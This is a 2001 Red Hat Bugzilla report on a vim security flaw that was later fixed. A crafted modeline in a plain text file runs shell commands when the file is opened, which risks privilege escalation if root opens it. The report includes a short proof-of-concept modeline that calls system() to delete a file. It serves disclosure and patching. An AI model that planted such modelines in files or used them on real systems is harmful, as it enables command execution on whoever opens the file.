Note: This bug is displayed in read-only format because the product is no longer active in Red Hat Bugzilla.

Bug 25194

Summary: priviledge elevation via simple text file
Product: [Retired] Red Hat Linux Reporter: Daniel Roesen <dr>
Component: vimAssignee: Bernhard Rosenkraenzer <bero>
Status: CLOSED ERRATA QA Contact: David Lawrence <dkl>
Severity: medium Docs Contact:
Priority: high    
Version: 7.0Keywords: Security
Target Milestone: ---   
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2001-03-04 12:48:52 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:

Description Daniel Roesen 2001-01-29 17:13:33 UTC
$ touch testfile
$ echo "vim:ls=2:stl=%{system('rm\ testfile')}" > test.txt
$ vi test.txt 
[leave with :q]
$ ls testfile
ls: testfile: No such file or directory

Think about files opened in vim by root.

restricting viewability to beta team right now. open for public if you
think it is apropriate.

I have stomach ache now :-$

Comment 1 Daniel Roesen 2001-01-29 17:27:33 UTC
This is with vim 6.0-0.12, once build from a Rawhide SRPM.

Comment 2 Bernhard Rosenkraenzer 2001-01-29 22:06:18 UTC
This is fixed in releases >= 0.20.
Looking into older releases now...


Comment 3 Bernhard Rosenkraenzer 2001-01-29 23:24:47 UTC
Fixed package built, waiting for QA approval


Comment 4 Daniel Roesen 2001-03-04 12:48:48 UTC
Hm, no activity since over a month now. Will we see errata update vim for
anymore?

Comment 5 Bernhard Rosenkraenzer 2001-03-22 19:11:53 UTC
Fixed